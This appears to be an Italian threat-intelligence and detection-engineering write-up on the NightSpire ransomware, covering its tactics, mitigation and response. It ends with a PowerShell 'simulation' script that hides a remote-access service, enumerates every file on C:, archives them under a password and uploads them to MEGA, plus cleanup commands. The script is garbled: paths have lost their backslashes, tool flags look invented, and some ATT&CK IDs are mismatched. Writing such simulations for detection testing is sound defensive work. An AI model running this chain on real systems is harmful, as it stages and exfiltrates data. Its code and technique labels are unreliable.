Catena di Attacco del Ransomware NightSpire, Strumenti e Tattiche

Sommario

NightSpire è una famiglia di ransomware basati su Go, osservata per la prima volta all’inizio del 2025, che utilizza un modello di doppia estorsione, rubando dati prima della crittografia e minacciando di pubblicarli su un sito di leak basato su Tor. Il ransomware aggiunge una .nspire estensione ai file crittografati e posiziona note di riscatto in ciascuna directory colpita, comprese le cartelle legate a OneDrive. I suoi operatori si affidano a strumenti di amministrazione remota legittimi per mantenere l’accesso e utilizzano utilità disponibili pubblicamente per la scoperta, l’archiviazione e l’esfiltrazione. Tra marzo e giugno 2025, la campagna ha colpito almeno 64 organizzazioni in 33 paesi.

Indagine

L’indagine ha mostrato che gli attaccanti hanno spesso ottenuto un accesso iniziale tramite RDP esposto e hanno poi installato Chrome Remote Desktop e AnyDesk come servizi persistenti. Hanno usato Everything per localizzare rapidamente i file, 7-Zip per creare archivi protetti da password e MEGAsync per caricare i dati rubati su MEGA cloud storage. L’encryptor basato su Go è stato eseguito sotto conhost.exe, ha enumerato tutti i drive disponibili e ha crittografato i file lasciando i nomi dei file di OneDrive invariati. La fase di estorsione si è basata su un sito leak ospitato su Tor usato per fare pressione sulle vittime dopo l’esfiltrazione.

Mitigazione

Le organizzazioni dovrebbero ridurre o eliminare l’esposizione diretta di RDP, monitorare per il dispiegamento inaspettato di strumenti legittimi di amministrazione remota come servizi, e applicare elenchi di autorizzazione delle applicazioni a binari come Chrome Remote Desktop e AnyDesk. Le rilevazioni comportamentali dovrebbero concentrarsi sull’enumerazione massiva dei file, la creazione di archivi e i caricamenti insoliti sui servizi di cloud storage. I backup regolari e le procedure di ripristino testate restano essenziali, e i controlli di rete dovrebbero bloccare gli endpoint di caricamento noti di MEGA. Le difese possono anche essere validate tramite esercizi controllati di simulazione ransomware come quelli offerti da Picus.

Risposta

Se viene rilevata un’attività di NightSpire, isolare immediatamente l’endpoint colpito, terminare il processo dell’encryptor e raccogliere la memoria volatile per l’analisi. Disabilitare i servizi malevoli, rimuovere gli strumenti di accesso remoto persiste e bloccare le comunicazioni di rete correlate. Il ripristino dovrebbe procedere da backup fidati e gli stakeholder rilevanti dovrebbero essere informati. L’incidente dovrebbe anche essere segnalato alle forze dell’ordine, mentre i difensori continuano a monitorare il sito leak di Tor associato per segni di dati pubblicati.

Esecuzione Simulazione

Prerequisito: Il Controllo Pre-volo Telemetria & Base deve essere superato.

Motivo: Questa sezione descrive l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e il racconto DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.

• Narrativa di Attacco & Comandi:

  1. Impostazione Persistenza (T1547 / T1219): Installare Chrome Remote Desktop (percorso predefinito) e avviare il suo servizio per ottenere un controllo remoto persistente.
  2. Scoperta (T1083): Usa Everything.exe per enumerare tutti i file sul drive C:, salvando l’output in un elenco temporaneo.
  3. Archiviazione (T1037 / T1083): Invoca 7-Zip per comprimere i file scoperti in un archivio protetto da password.
  4. Esfiltrazione (T1219.003): Avvia MEGAsync per caricare l’archivio su un account MEGA.

  La sequenza assicura che selezione_accesso_remoto (Chrome Remote Desktop) sia attivo mentre almeno uno di selezione_scoperta, selezione_archivio, o selezione_esfiltrazione avviene, soddisfacendo la condizione della regola.

• Script di Test di Regressione:

  # -------------------------------------------------------------------------
  # Simulazione Persistenza Laterale & Esfiltrazione NightSpire
  # -------------------------------------------------------------------------
  # Prerequisiti:
  #   - Chrome Remote Desktop installato nel percorso predefinito
  #   - Everything.exe installato nel percorso predefinito
  #   - 7z.exe installato nel percorso predefinito
  #   - MEGAsync installato nel percorso del profilo utente predefinito
  # -------------------------------------------------------------------------
  
  # 1. Garantire che il servizio Chrome Remote Desktop sia in esecuzione (simula la persistenza)
  $crdPath = "$Env:ProgramFiles(x86)GoogleChrome Remote Desktop147.0.7727.3remoting_host.exe"
  if (Test-Path $crdPath) {
      Start-Process -FilePath $crdPath -ArgumentList "--start-service" -WindowStyle Hidden
      Write-Host "Servizio Chrome Remote Desktop avviato."
  } else {
      Write-Error "Chrome Remote Desktop non trovato in $crdPath"
      exit 1
  }
  
  # 2. Scoperta file con Everything
  $everythingPath = "$Env:ProgramFilesEverythingEverything.exe"
  $discoveryOutput = "$env:TEMPfilelist.txt"
  if (Test-Path $everythingPath) {
      & $everythingPath -search "C:" -output $discoveryOutput
      Write-Host "Scoperta completata, risultati salvati in $discoveryOutput"
  } else {
      Write-Error "Everything.exe non trovato in $everythingPath"
      exit 1
  }
  
  # 3. Archivia i file scoperti con 7-Zip
  $sevenZipPath = "$Env:ProgramFiles7-Zip7z.exe"
  $archivePath   = "$env:TEMPexfil_archive.zip"
  if (Test-Path $sevenZipPath) {
      & $sevenZipPath a -tzip $archivePath "@$discoveryOutput" -p"StrongP@ssw0rd!"
      Write-Host "Archivio creato in $archivePath"
  } else {
      Write-Error "7z.exe non trovato in $sevenZipPath"
      exit 1
  }
  
  # 4. Carica l'archivio tramite MEGAsync (esfiltrazione)
  $megaPath = "$Env:LOCALAPPDATAMEGAsyncMEGAsync.exe"
  if (Test-Path $megaPath) {
      & $megaPath --upload $archivePath
      Write-Host "Caricamento avviato tramite MEGAsync."
  } else {
      Write-Error "MEGAsync.exe non trovato in $megaPath"
      exit 1
  }
  
  # Fine della simulazione

• Comandi di Pulizia:

  # Arrestare il servizio Chrome Remote Desktop
  Stop-Process -Name "remoting_host" -Force -ErrorAction SilentlyContinue
  
  # Rimuovere i file temporanei
  Remove-Item -Path "$env:TEMPfilelist.txt" -Force -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:TEMPexfil_archive.zip" -Force -ErrorAction SilentlyContinue
  
  # Arrestare eventualmente MEGAsync se in esecuzione
  Stop-Process -Name "MEGAsync" -Force -ErrorAction SilentlyContinue